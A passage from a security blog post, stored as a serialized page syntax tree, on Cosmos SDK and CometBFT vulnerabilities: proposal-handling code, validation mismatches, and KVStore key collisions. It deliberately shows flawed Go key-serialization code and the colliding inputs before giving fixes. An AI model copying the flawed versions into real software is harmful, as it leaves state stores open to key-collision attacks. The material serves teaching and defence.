:25,"tag":271,"props":97534,"children":97535},{"style":13603},[97536],{"type":30,"value":77501},{"type":25,"tag":271,"props":97538,"children":97539},{"style":14289},[97540],{"type":30,"value":95031},{"type":25,"tag":271,"props":97542,"children":97543},{"style":13625},[97544],{"type":30,"value":16431},{"type":25,"tag":271,"props":97546,"children":97547},{"class":13593,"line":16465},[97548,97552,97556,97560],{"type":25,"tag":271,"props":97549,"children":97550},{"style":16171},[97551],{"type":30,"value":73844},{"type":25,"tag":271,"props":97553,"children":97554},{"style":14289},[97555],{"type":30,"value":95031},{"type":25,"tag":271,"props":97557,"children":97558},{"style":13625},[97559],{"type":30,"value":44},{"type":25,"tag":271,"props":97561,"children":97562},{"style":13598},[97563],{"type":30,"value":96752},{"type":25,"tag":271,"props":97565,"children":97566},{"class":13593,"line":16486},[97567],{"type":25,"tag":271,"props":97568,"children":97569},{"style":13625},[97570],{"type":30,"value":72000},{"type":25,"tag":271,"props":97572,"children":97573},{"class":13593,"line":16495},[97574,97579,97583,97587,97591,97596,97600,97605,97609,97613,97617,97621],{"type":25,"tag":271,"props":97575,"children":97576},{"style":13598},[97577],{"type":30,"value":97578},"            injection",{"type":25,"tag":271,"props":97580,"children":97581},{"style":13625},[97582],{"type":30,"value":44},{"type":25,"tag":271,"props":97584,"children":97585},{"style":13598},[97586],{"type":30,"value":61536},{"type":25,"tag":271,"props":97588,"children":97589},{"style":13603},[97590],{"type":30,"value":16155},{"type":25,"tag":271,"props":97592,"children":97593},{"style":13598},[97594],{"type":30,"value":97595}," json",{"type":25,"tag":271,"props":97597,"children":97598},{"style":13625},[97599],{"type":30,"value":1860},{"type":25,"tag":271,"props":97601,"children":97602},{"style":13620},[97603],{"type":30,"value":97604},"Marshal",{"type":25,"tag":271,"props":97606,"children":97607},{"style":13625},[97608],{"type":30,"value":394},{"type":25,"tag":271,"props":97610,"children":97611},{"style":13598},[97612],{"type":30,"value":97262},{"type":25,"tag":271,"props":97614,"children":97615},{"style":13625},[97616],{"type":30,"value":1860},{"type":25,"tag":271,"props":97618,"children":97619},{"style":13598},[97620],{"type":30,"value":97517},{"type":25,"tag":271,"props":97622,"children":97623},{"style":13625},[97624],{"type":30,"value":16299},{"type":25,"tag":271,"props":97626,"children":97627},{"class":13593,"line":16744},[97628,97632,97636,97640,97644],{"type":25,"tag":271,"props":97629,"children":97630},{"style":16171},[97631],{"type":30,"value":71916},{"type":25,"tag":271,"props":97633,"children":97634},{"style":13598},[97635],{"type":30,"value":61637},{"type":25,"tag":271,"props":97637,"children":97638},{"style":13603},[97639],{"type":30,"value":77501},{"type":25,"tag":271,"props":97641,"children":97642},{"style":14289},[97643],{"type":30,"value":95031},{"type":25,"tag":271,"props":97645,"children":97646},{"style":13625},[97647],{"type":30,"value":16431},{"type":25,"tag":271,"props":97649,"children":97650},{"class":13593,"line":16761},[97651,97656,97660,97665,97669,97673,97677,97682,97686,97691,97695,97699],{"type":25,"tag":271,"props":97652,"children":97653},{"style":13598},[97654],{"type":30,"value":97655},"                h",{"type":25,"tag":271,"props":97657,"children":97658},{"style":13625},[97659],{"type":30,"value":1860},{"type":25,"tag":271,"props":97661,"children":97662},{"style":13598},[97663],{"type":30,"value":97664},"logger",{"type":25,"tag":271,"props":97666,"children":97667},{"style":13625},[97668],{"type":30,"value":1860},{"type":25,"tag":271,"props":97670,"children":97671},{"style":13620},[97672],{"type":30,"value":14443},{"type":25,"tag":271,"props":97674,"children":97675},{"style":13625},[97676],{"type":30,"value":394},{"type":25,"tag":271,"props":97678,"children":97679},{"style":17388},[97680],{"type":30,"value":97681},"\"failed to marshal extended votes\"",{"type":25,"tag":271,"props":97683,"children":97684},{"style":13625},[97685],{"type":30,"value":44},{"type":25,"tag":271,"props":97687,"children":97688},{"style":17388},[97689],{"type":30,"value":97690},"\"err\"",{"type":25,"tag":271,"props":97692,"children":97693},{"style":13625},[97694],{"type":30,"value":44},{"type":25,"tag":271,"props":97696,"children":97697},{"style":13598},[97698],{"type":30,"value":61536},{"type":25,"tag":271,"props":97700,"children":97701},{"style":13625},[97702],{"type":30,"value":16299},{"type":25,"tag":271,"props":97704,"children":97705},{"class":13593,"line":16778},[97706,97710,97714,97718],{"type":25,"tag":271,"props":97707,"children":97708},{"style":16171},[97709],{"type":30,"value":73844},{"type":25,"tag":271,"props":97711,"children":97712},{"style":14289},[97713],{"type":30,"value":95031},{"type":25,"tag":271,"props":97715,"children":97716},{"style":13625},[97717],{"type":30,"value":44},{"type":25,"tag":271,"props":97719,"children":97720},{"style":13598},[97721],{"type":30,"value":96752},{"type":25,"tag":271,"props":97723,"children":97724},{"class":13593,"line":16791},[97725],{"type":25,"tag":271,"props":97726,"children":97727},{"style":13625},[97728],{"type":30,"value":72000},{"type":25,"tag":271,"props":97730,"children":97731},{"class":13593,"line":16800},[97732],{"type":25,"tag":271,"props":97733,"children":97734},{"style":13603},[97735],{"type":30,"value":95631},{"type":25,"tag":271,"props":97737,"children":97738},{"class":13593,"line":16823},[97739],{"type":25,"tag":271,"props":97740,"children":97741},{"style":13625},[97742],{"type":30,"value":16492},{"type":25,"tag":271,"props":97744,"children":97745},{"class":13593,"line":16832},[97746,97751,97755,97759,97763,97768,97772,97777,97781,97785,97789,97793],{"type":25,"tag":271,"props":97747,"children":97748},{"style":13598},[97749],{"type":30,"value":97750},"        defaultRes",{"type":25,"tag":271,"props":97752,"children":97753},{"style":13625},[97754],{"type":30,"value":44},{"type":25,"tag":271,"props":97756,"children":97757},{"style":13598},[97758],{"type":30,"value":61536},{"type":25,"tag":271,"props":97760,"children":97761},{"style":13603},[97762],{"type":30,"value":89532},{"type":25,"tag":271,"props":97764,"children":97765},{"style":13598},[97766],{"type":30,"value":97767}," h",{"type":25,"tag":271,"props":97769,"children":97770},{"style":13625},[97771],{"type":30,"value":1860},{"type":25,"tag":271,"props":97773,"children":97774},{"style":13620},[97775],{"type":30,"value":97776},"defaultPrepareProposal",{"type":25,"tag":271,"props":97778,"children":97779},{"style":13625},[97780],{"type":30,"value":394},{"type":25,"tag":271,"props":97782,"children":97783},{"style":13598},[97784],{"type":30,"value":33401},{"type":25,"tag":271,"props":97786,"children":97787},{"style":13625},[97788],{"type":30,"value":44},{"type":25,"tag":271,"props":97790,"children":97791},{"style":13598},[97792],{"type":30,"value":97262},{"type":25,"tag":271,"props":97794,"children":97795},{"style":13625},[97796],{"type":30,"value":16299},{"type":25,"tag":271,"props":97798,"children":97799},{"class":13593,"line":16841},[97800],{"type":25,"tag":271,"props":97801,"children":97802},{"style":13603},[97803],{"type":30,"value":94955},{"type":25,"tag":271,"props":97805,"children":97806},{"class":13593,"line":16907},[97807,97812,97816,97821,97825],{"type":25,"tag":271,"props":97808,"children":97809},{"style":13598},[97810],{"type":30,"value":97811},"        proposalTxs",{"type":25,"tag":271,"props":97813,"children":97814},{"style":13603},[97815],{"type":30,"value":89532},{"type":25,"tag":271,"props":97817,"children":97818},{"style":13598},[97819],{"type":30,"value":97820}," defaultRes",{"type":25,"tag":271,"props":97822,"children":97823},{"style":13625},[97824],{"type":30,"value":1860},{"type":25,"tag":271,"props":97826,"children":97827},{"style":13598},[97828],{"type":30,"value":97829},"Txs\n",{"type":25,"tag":271,"props":97831,"children":97832},{"class":13593,"line":16915},[97833,97837,97841,97845,97849],{"type":25,"tag":271,"props":97834,"children":97835},{"style":16171},[97836],{"type":30,"value":16412},{"type":25,"tag":271,"props":97838,"children":97839},{"style":13598},[97840],{"type":30,"value":97332},{"type":25,"tag":271,"props":97842,"children":97843},{"style":13603},[97844],{"type":30,"value":77501},{"type":25,"tag":271,"props":97846,"children":97847},{"style":14289},[97848],{"type":30,"value":95031},{"type":25,"tag":271,"props":97850,"children":97851},{"style":13625},[97852],{"type":30,"value":16431},{"type":25,"tag":271,"props":97854,"children":97855},{"class":13593,"line":16945},[97856,97861,97865,97869,97874,97879,97883,97888,97892,97897,97901],{"type":25,"tag":271,"props":97857,"children":97858},{"style":13598},[97859],{"type":30,"value":97860},"            proposalTxs",{"type":25,"tag":271,"props":97862,"children":97863},{"style":13603},[97864],{"type":30,"value":16155},{"type":25,"tag":271,"props":97866,"children":97867},{"style":13620},[97868],{"type":30,"value":90809},{"type":25,"tag":271,"props":97870,"children":97871},{"style":13625},[97872],{"type":30,"value":97873},"([][]",{"type":25,"tag":271,"props":97875,"children":97876},{"style":13609},[97877],{"type":30,"value":97878},"byte",{"type":25,"tag":271,"props":97880,"children":97881},{"style":13625},[97882],{"type":30,"value":947},{"type":25,"tag":271,"props":97884,"children":97885},{"style":13598},[97886],{"type":30,"value":97887},"injection",{"type":25,"tag":271,"props":97889,"children":97890},{"style":13625},[97891],{"type":30,"value":89751},{"type":25,"tag":271,"props":97893,"children":97894},{"style":13598},[97895],{"type":30,"value":97896},"proposalTxs",{"type":25,"tag":271,"props":97898,"children":97899},{"style":13603},[97900],{"type":30,"value":22714},{"type":25,"tag":271,"props":97902,"children":97903},{"style":13625},[97904],{"type":30,"value":16299},{"type":25,"tag":271,"props":97906,"children":97907},{"class":13593,"line":16953},[97908,97913,97917,97921,97925,97929,97933,97938,97942,97947,97951,97955,97959,97963],{"type":25,"tag":271,"props":97909,"children":97910},{"style":13598},[97911],{"type":30,"value":97912},"            h",{"type":25,"tag":271,"props":97914,"children":97915},{"style":13625},[97916],{"type":30,"value":1860},{"type":25,"tag":271,"props":97918,"children":97919},{"style":13598},[97920],{"type":30,"value":97664},{"type":25,"tag":271,"props":97922,"children":97923},{"style":13625},[97924],{"type":30,"value":1860},{"type":25,"tag":271,"props":97926,"children":97927},{"style":13620},[97928],{"type":30,"value":37820},{"type":25,"tag":271,"props":97930,"children":97931},{"style":13625},[97932],{"type":30,"value":394},{"type":25,"tag":271,"props":97934,"children":97935},{"style":17388},[97936],{"type":30,"value":97937},"\"injected local last commit\"",{"type":25,"tag":271,"props":97939,"children":97940},{"style":13625},[97941],{"type":30,"value":44},{"type":25,"tag":271,"props":97943,"children":97944},{"style":17388},[97945],{"type":30,"value":97946},"\"height\"",{"type":25,"tag":271,"props":97948,"children":97949},{"style":13625},[97950],{"type":30,"value":44},{"type":25,"tag":271,"props":97952,"children":97953},{"style":13598},[97954],{"type":30,"value":97262},{"type":25,"tag":271,"props":97956,"children":97957},{"style":13625},[97958],{"type":30,"value":1860},{"type":25,"tag":271,"props":97960,"children":97961},{"style":13598},[97962],{"type":30,"value":96592},{"type":25,"tag":271,"props":97964,"children":97965},{"style":13625},[97966],{"type":30,"value":16299},{"type":25,"tag":271,"props":97968,"children":97969},{"class":13593,"line":16984},[97970],{"type":25,"tag":271,"props":97971,"children":97972},{"style":13625},[97973],{"type":30,"value":16492},{"type":25,"tag":271,"props":97975,"children":97976},{"class":13593,"line":16992},[97977,97981,97985,97989,97993,97997],{"type":25,"tag":271,"props":97978,"children":97979},{"style":16171},[97980],{"type":30,"value":28866},{"type":25,"tag":271,"props":97982,"children":97983},{"style":13603},[97984],{"type":30,"value":14341},{"type":25,"tag":271,"props":97986,"children":97987},{"style":13609},[97988],{"type":30,"value":97271},{"type":25,"tag":271,"props":97990,"children":97991},{"style":13625},[97992],{"type":30,"value":1860},{"type":25,"tag":271,"props":97994,"children":97995},{"style":13609},[97996],{"type":30,"value":97301},{"type":25,"tag":271,"props":97998,"children":97999},{"style":13625},[98000],{"type":30,"value":24005},{"type":25,"tag":271,"props":98002,"children":98003},{"class":13593,"line":17052},[98004,98009,98013,98017],{"type":25,"tag":271,"props":98005,"children":98006},{"style":13598},[98007],{"type":30,"value":98008},"            Txs",{"type":25,"tag":271,"props":98010,"children":98011},{"style":13625},[98012],{"type":30,"value":28453},{"type":25,"tag":271,"props":98014,"children":98015},{"style":13598},[98016],{"type":30,"value":97896},{"type":25,"tag":271,"props":98018,"children":98019},{"style":13625},[98020],{"type":30,"value":14351},{"type":25,"tag":271,"props":98022,"children":98023},{"class":13593,"line":22168},[98024,98029],{"type":25,"tag":271,"props":98025,"children":98026},{"style":13625},[98027],{"type":30,"value":98028},"        }, ",{"type":25,"tag":271,"props":98030,"children":98031},{"style":14289},[98032],{"type":30,"value":89756},{"type":25,"tag":271,"props":98034,"children":98035},{"class":13593,"line":22186},[98036],{"type":25,"tag":271,"props":98037,"children":98038},{"style":13625},[98039],{"type":30,"value":16501},{"type":25,"tag":271,"props":98041,"children":98042},{"class":13593,"line":22231},[98043],{"type":25,"tag":271,"props":98044,"children":98045},{"style":13625},[98046],{"type":30,"value":17058},{"type":25,"tag":26,"props":98048,"children":98049},{},[98050,98052,98057,98058,98063,98065,98072],{"type":30,"value":98051},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":25,"tag":264,"props":98053,"children":98055},{"className":98054},[],[98056],{"type":30,"value":96421},{"type":30,"value":16213},{"type":25,"tag":264,"props":98059,"children":98061},{"className":98060},[],[98062],{"type":30,"value":96489},{"type":30,"value":98064},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":25,"tag":83,"props":98066,"children":98069},{"href":98067,"rel":98068},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[9066],[98070],{"type":30,"value":98071},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":30,"value":98073},", which will later get rejected by CometBTF.",{"type":25,"tag":96,"props":98075,"children":98077},{"id":98076},"the-keymaker",[98078],{"type":30,"value":98079},"The Keymaker",{"type":25,"tag":26,"props":98081,"children":98082},{},[98083,98085,98091,98093,98098],{"type":30,"value":98084},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":25,"tag":264,"props":98086,"children":98088},{"className":98087},[],[98089],{"type":30,"value":98090},"KVStore",{"type":30,"value":98092}," to handle states efficently. In ",{"type":25,"tag":264,"props":98094,"children":98096},{"className":98095},[],[98097],{"type":30,"value":98090},{"type":30,"value":98099},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":25,"tag":26,"props":98101,"children":98102},{},[98103],{"type":30,"value":98104},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":25,"tag":26,"props":98106,"children":98107},{},[98108,98110,98116],{"type":30,"value":98109},"Let's start by considering a scenario where we need to store the ",{"type":25,"tag":264,"props":98111,"children":98113},{"className":98112},[],[98114],{"type":30,"value":98115},"positionMap",{"type":30,"value":98117}," structure mentioned below into storage.",{"type":25,"tag":7764,"props":98119,"children":98121},{"code":98120,"language":89280,"meta":7,"className":89281,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[98122],{"type":25,"tag":264,"props":98123,"children":98124},{"__ignoreMap":7},[98125,98141,98158,98174,98193,98208,98215,98232],{"type":25,"tag":271,"props":98126,"children":98127},{"class":13593,"line":13594},[98128,98132,98137],{"type":25,"tag":271,"props":98129,"children":98130},{"style":14289},[98131],{"type":30,"value":45869},{"type":25,"tag":271,"props":98133,"children":98134},{"style":13609},[98135],{"type":30,"value":98136}," VaultId",{"type":25,"tag":271,"props":98138,"children":98139},{"style":13609},[98140],{"type":30,"value":89318},{"type":25,"tag":271,"props":98142,"children":98143},{"class":13593,"line":11641},[98144,98148,98153],{"type":25,"tag":271,"props":98145,"children":98146},{"style":14289},[98147],{"type":30,"value":45869},{"type":25,"tag":271,"props":98149,"children":98150},{"style":13609},[98151],{"type":30,"value":98152}," Username",{"type":25,"tag":271,"props":98154,"children":98155},{"style":13609},[98156],{"type":30,"value":98157}," string\n",{"type":25,"tag":271,"props":98159,"children":98160},{"class":13593,"line":14354},[98161,98165,98170],{"type":25,"tag":271,"props":98162,"children":98163},{"style":14289},[98164],{"type":30,"value":45869},{"type":25,"tag":271,"props":98166,"children":98167},{"style":13609},[98168],{"type":30,"value":98169}," PositionName",{"type":25,"tag":271,"props":98171,"children":98172},{"style":13609},[98173],{"type":30,"value":98157},{"type":25,"tag":271,"props":98175,"children":98176},{"class":13593,"line":14391},[98177,98181,98185,98189],{"type":25,"tag":271,"props":98178,"children":98179},{"style":14289},[98180],{"type":30,"value":45869},{"type":25,"tag":271,"props":98182,"children":98183},{"style":13609},[98184],{"type":30,"value":20548},{"type":25,"tag":271,"props":98186,"children":98187},{"style":14289},[98188],{"type":30,"value":34271},{"type":25,"tag":271,"props":98190,"children":98191},{"style":13625},[98192],{"type":30,"value":16431},{"type":25,"tag":271,"props":98194,"children":98195},{"class":13593,"line":14400},[98196,98200,98204],{"type":25,"tag":271,"props":98197,"children":98198},{"style":13598},[98199],{"type":30,"value":56344},{"type":25,"tag":271,"props":98201,"children":98202},{"style":13625},[98203],{"type":30,"value":89343},{"type":25,"tag":271,"props":98205,"children":98206},{"style":13609},[98207],{"type":30,"value":97341},{"type":25,"tag":271,"props":98209,"children":98210},{"class":13593,"line":16406},[98211],{"type":25,"tag":271,"props":98212,"children":98213},{"style":13625},[98214],{"type":30,"value":17058},{"type":25,"tag":271,"props":98216,"children":98217},{"class":13593,"line":16434},[98218,98222,98227],{"type":25,"tag":271,"props":98219,"children":98220},{"style":14289},[98221],{"type":30,"value":45869},{"type":25,"tag":271,"props":98223,"children":98224},{"style":13609},[98225],{"type":30,"value":98226}," PositionMap",{"type":25,"tag":271,"props":98228,"children":98229},{"style":13603},[98230],{"type":30,"value":98231}," :=\n",{"type":25,"tag":271,"props":98233,"children":98234},{"class":13593,"line":16447},[98235,98240,98244,98249,98253,98257,98261,98266,98270,98274,98278,98283,98287],{"type":25,"tag":271,"props":98236,"children":98237},{"style":14289},[98238],{"type":30,"value":98239},"    map",{"type":25,"tag":271,"props":98241,"children":98242},{"style":13625},[98243],{"type":30,"value":5604},{"type":25,"tag":271,"props":98245,"children":98246},{"style":13609},[98247],{"type":30,"value":98248},"VaultId",{"type":25,"tag":271,"props":98250,"children":98251},{"style":13625},[98252],{"type":30,"value":5630},{"type":25,"tag":271,"props":98254,"children":98255},{"style":14289},[98256],{"type":30,"value":80217},{"type":25,"tag":271,"props":98258,"children":98259},{"style":13625},[98260],{"type":30,"value":5604},{"type":25,"tag":271,"props":98262,"children":98263},{"style":13609},[98264],{"type":30,"value":98265},"Username",{"type":25,"tag":271,"props":98267,"children":98268},{"style":13625},[98269],{"type":30,"value":5630},{"type":25,"tag":271,"props":98271,"children":98272},{"style":14289},[98273],{"type":30,"value":80217},{"type":25,"tag":271,"props":98275,"children":98276},{"style":13625},[98277],{"type":30,"value":5604},{"type":25,"tag":271,"props":98279,"children":98280},{"style":13609},[98281],{"type":30,"value":98282},"PositionName",{"type":25,"tag":271,"props":98284,"children":98285},{"style":13625},[98286],{"type":30,"value":5630},{"type":25,"tag":271,"props":98288,"children":98289},{"style":13609},[98290],{"type":30,"value":98291},"Position\n",{"type":25,"tag":26,"props":98293,"children":98294},{},[98295,98297,98303],{"type":30,"value":98296},"Given that there are two levels of keys in ",{"type":25,"tag":264,"props":98298,"children":98300},{"className":98299},[],[98301],{"type":30,"value":98302},"PositionMap",{"type":30,"value":98304},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":25,"tag":7764,"props":98306,"children":98308},{"code":98307,"language":89280,"meta":7,"className":89281,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[98309],{"type":25,"tag":264,"props":98310,"children":98311},{"__ignoreMap":7},[98312,98341,98353,98365,98377,98389],{"type":25,"tag":271,"props":98313,"children":98314},{"class":13593,"line":13594},[98315,98320,98324,98328,98332,98337],{"type":25,"tag":271,"props":98316,"children":98317},{"style":13598},[98318],{"type":30,"value":98319},"storageKey",{"type":25,"tag":271,"props":98321,"children":98322},{"style":13603},[98323],{"type":30,"value":89532},{"type":25,"tag":271,"props":98325,"children":98326},{"style":13598},[98327],{"type":30,"value":95347},{"type":25,"tag":271,"props":98329,"children":98330},{"style":13625},[98331],{"type":30,"value":1860},{"type":25,"tag":271,"props":98333,"children":98334},{"style":13620},[98335],{"type":30,"value":98336},"Sprintf",{"type":25,"tag":271,"props":98338,"children":98339},{"style":13625},[98340],{"type":30,"value":16609},{"type":25,"tag":271,"props":98342,"children":98343},{"class":13593,"line":11641},[98344,98349],{"type":25,"tag":271,"props":98345,"children":98346},{"style":17388},[98347],{"type":30,"value":98348},"    \"%d%s%s\"",{"type":25,"tag":271,"props":98350,"children":98351},{"style":13625},[98352],{"type":30,"value":14351},{"type":25,"tag":271,"props":98354,"children":98355},{"class":13593,"line":14354},[98356,98361],{"type":25,"tag":271,"props":98357,"children":98358},{"style":13598},[98359],{"type":30,"value":98360},"    vaultId",{"type":25,"tag":271,"props":98362,"children":98363},{"style":13625},[98364],{"type":30,"value":14351},{"type":25,"tag":271,"props":98366,"children":98367},{"class":13593,"line":14391},[98368,98373],{"type":25,"tag":271,"props":98369,"children":98370},{"style":13598},[98371],{"type":30,"value":98372},"    username",{"type":25,"tag":271,"props":98374,"children":98375},{"style":13625},[98376],{"type":30,"value":14351},{"type":25,"tag":271,"props":98378,"children":98379},{"class":13593,"line":14400},[98380,98385],{"type":25,"tag":271,"props":98381,"children":98382},{"style":13598},[98383],{"type":30,"value":98384},"    positionName",{"type":25,"tag":271,"props":98386,"children":98387},{"style":13625},[98388],{"type":30,"value":14351},{"type":25,"tag":271,"props":98390,"children":98391},{"class":13593,"line":16406},[98392],{"type":25,"tag":271,"props":98393,"children":98394},{"style":13625},[98395],{"type":30,"value":16299},{"type":25,"tag":26,"props":98397,"children":98398},{},[98399],{"type":30,"value":98400},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":25,"tag":7764,"props":98402,"children":98404},{"code":98403},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[98405],{"type":25,"tag":264,"props":98406,"children":98407},{"__ignoreMap":7},[98408],{"type":30,"value":98403},{"type":25,"tag":26,"props":98410,"children":98411},{},[98412,98417],{"type":25,"tag":10281,"props":98413,"children":98414},{},[98415],{"type":30,"value":98416},"So, how can we mitigate this issue?",{"type":30,"value":98418},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":25,"tag":7764,"props":98420,"children":98422},{"code":98421,"language":89280,"meta":7,"className":89281,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[98423],{"type":25,"tag":264,"props":98424,"children":98425},{"__ignoreMap":7},[98426,98437,98454,98461,98468,98495,98507,98518,98529,98540,98551,98562],{"type":25,"tag":271,"props":98427,"children":98428},{"class":13593,"line":13594},[98429,98433],{"type":25,"tag":271,"props":98430,"children":98431},{"style":14289},[98432],{"type":30,"value":22778},{"type":25,"tag":271,"props":98434,"children":98435},{"style":13625},[98436],{"type":30,"value":91679},{"type":25,"tag":271,"props":98438,"children":98439},{"class":13593,"line":11641},[98440,98445,98449],{"type":25,"tag":271,"props":98441,"children":98442},{"style":13598},[98443],{"type":30,"value":98444},"    Seperator",{"type":25,"tag":271,"props":98446,"children":98447},{"style":13603},[98448],{"type":30,"value":16155},{"type":25,"tag":271,"props":98450,"children":98451},{"style":17388},[98452],{"type":30,"value":98453}," \"|\"\n",{"type":25,"tag":271,"props":98455,"children":98456},{"class":13593,"line":14354},[98457],{"type":25,"tag":271,"props":98458,"children":98459},{"style":13625},[98460],{"type":30,"value":16299},{"type":25,"tag":271,"props":98462,"children":98463},{"class":13593,"line":14391},[98464],{"type":25,"tag":271,"props":98465,"children":98466},{"emptyLinePlaceholder":18},[98467],{"type":30,"value":16829},{"type":25,"tag":271,"props":98469,"children":98470},{"class":13593,"line":14400},[98471,98475,98479,98483,98487,98491],{"type":25,"tag":271,"props":98472,"children":98473},{"style":13598},[98474],{"type":30,"value":98319},{"type":25,"tag":271,"props":98476,"children":98477},{"style":13603},[98478],{"type":30,"value":89532},{"type":25,"tag":271,"props":98480,"children":98481},{"style":13598},[98482],{"type":30,"value":95347},{"type":25,"tag":271,"props":98484,"children":98485},{"style":13625},[98486],{"type":30,"value":1860},{"type":25,"tag":271,"props":98488,"children":98489},{"style":13620},[98490],{"type":30,"value":98336},{"type":25,"tag":271,"props":98492,"children":98493},{"style":13625},[98494],{"type":30,"value":16609},{"type":25,"tag":271,"props":98496,"children":98497},{"class":13593,"line":16406},[98498,98503],{"type":25,"tag":271,"props":98499,"children":98500},{"style":17388},[98501],{"type":30,"value":98502},"    \"%d%s%s%s%s\"",{"type":25,"tag":271,"props":98504,"children":98505},{"style":13625},[98506],{"type":30,"value":14351},{"type":25,"tag":271,"props":98508,"children":98509},{"class":13593,"line":16434},[98510,98514],{"type":25,"tag":271,"props":98511,"children":98512},{"style":13598},[98513],{"type":30,"value":98360},{"type":25,"tag":271,"props":98515,"children":98516},{"style":13625},[98517],{"type":30,"value":14351},{"type":25,"tag":271,"props":98519,"children":98520},{"class":13593,"line":16447},[98521,98525],{"type":25,"tag":271,"props":98522,"children":98523},{"style":13598},[98524],{"type":30,"value":98444},{"type":25,"tag":271,"props":98526,"children":98527},{"style":13625},[98528],{"type":30,"value":14351},{"type":25,"tag":271,"props":98530,"children":98531},{"class":13593,"line":16465},[98532,98536],{"type":25,"tag":271,"props":98533,"children":98534},{"style":13598},[98535],{"type":30,"value":98372},{"type":25,"tag":271,"props":98537,"children":98538},{"style":13625},[98539],{"type":30,"value":14351},{"type":25,"tag":271,"props":98541,"children":98542},{"class":13593,"line":16486},[98543,98547],{"type":25,"tag":271,"props":98544,"children":98545},{"style":13598},[98546],{"type":30,"value":98444},{"type":25,"tag":271,"props":98548,"children":98549},{"style":13625},[98550],{"type":30,"value":14351},{"type":25,"tag":271,"props":98552,"children":98553},{"class":13593,"line":16495},[98554,98558],{"type":25,"tag":271,"props":98555,"children":98556},{"style":13598},[98557],{"type":30,"value":98384},{"type":25,"tag":271,"props":98559,"children":98560},{"style":13625},[98561],{"type":30,"value":14351},{"type":25,"tag":271,"props":98563,"children":98564},{"class":13593,"line":16744},[98565],{"type":25,"tag":271,"props":98566,"children":98567},{"style":13625},[98568],{"type":30,"value":16299},{"type":25,"tag":26,"props":98570,"children":98571},{},[98572],{"type":30,"value":98573},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":25,"tag":26,"props":98575,"children":98576},{},[98577,98579,98585,98586,98592],{"type":30,"value":98578},"Sadly, it doesn't. Since the ",{"type":25,"tag":264,"props":98580,"children":98582},{"className":98581},[],[98583],{"type":30,"value":98584},"username",{"type":30,"value":12218},{"type":25,"tag":264,"props":98587,"children":98589},{"className":98588},[],[98590],{"type":30,"value":98591},"vaultName",{"type":30,"value":98593}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":25,"tag":7764,"props":98595,"children":98597},{"code":98596},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[98598],{"type":25,"tag":264,"props":98599,"children":98600},{"__ignoreMap":7},[98601],{"type":30,"value":98596},{"type":25,"tag":26,"props":98603,"children":98604},{},[98605],{"type":30,"value":98606},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":25,"tag":7764,"props":98608,"children":98610},{"code":98609,"language":89280,"meta":7,"className":89281,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[98611],{"type":25,"tag":264,"props":98612,"children":98613},{"__ignoreMap":7},[98614,98625,98640,98647,98654,98661,98682,98698,98736,98743,98780,98787,98807,98822,98858,98865,98900,98907,98934,98945,98956,98967,98979,98990,98998],{"type":25,"tag":271,"props":98615,"children":98616},{"class":13593,"line":13594},[98617,98621],{"type":25,"tag":271,"props":98618,"children":98619},{"style":14289},[98620],{"type":30,"value":22778},{"type":25,"tag":271,"props":98622,"children":98623},{"style":13625},[98624],{"type":30,"value":91679},{"type":25,"tag":271,"props":98626,"children":98627},{"class":13593,"line":11641},[98628,98632,98636],{"type":25,"tag":271,"props":98629,"children":98630},{"style":13598},[98631],{"type":30,"value":98444},{"type":25,"tag":271,"props":98633,"children":98634},{"style":13603},[98635],{"type":30,"value":16155},{"type":25,"tag":271,"props":98637,"children":98638},{"style":17388},[98639],{"type":30,"value":98453},{"type":25,"tag":271,"props":98641,"children":98642},{"class":13593,"line":14354},[98643],{"type":25,"tag":271,"props":98644,"children":98645},{"style":13625},[98646],{"type":30,"value":16299},{"type":25,"tag":271,"props":98648,"children":98649},{"class":13593,"line":14391},[98650],{"type":25,"tag":271,"props":98651,"children":98652},{"emptyLinePlaceholder":18},[98653],{"type":30,"value":16829},{"type":25,"tag":271,"props":98655,"children":98656},{"class":13593,"line":14400},[98657],{"type":25,"tag":271,"props":98658,"children":98659},{"emptyLinePlaceholder":18},[98660],{"type":30,"value":16829},{"type":25,"tag":271,"props":98662,"children":98663},{"class":13593,"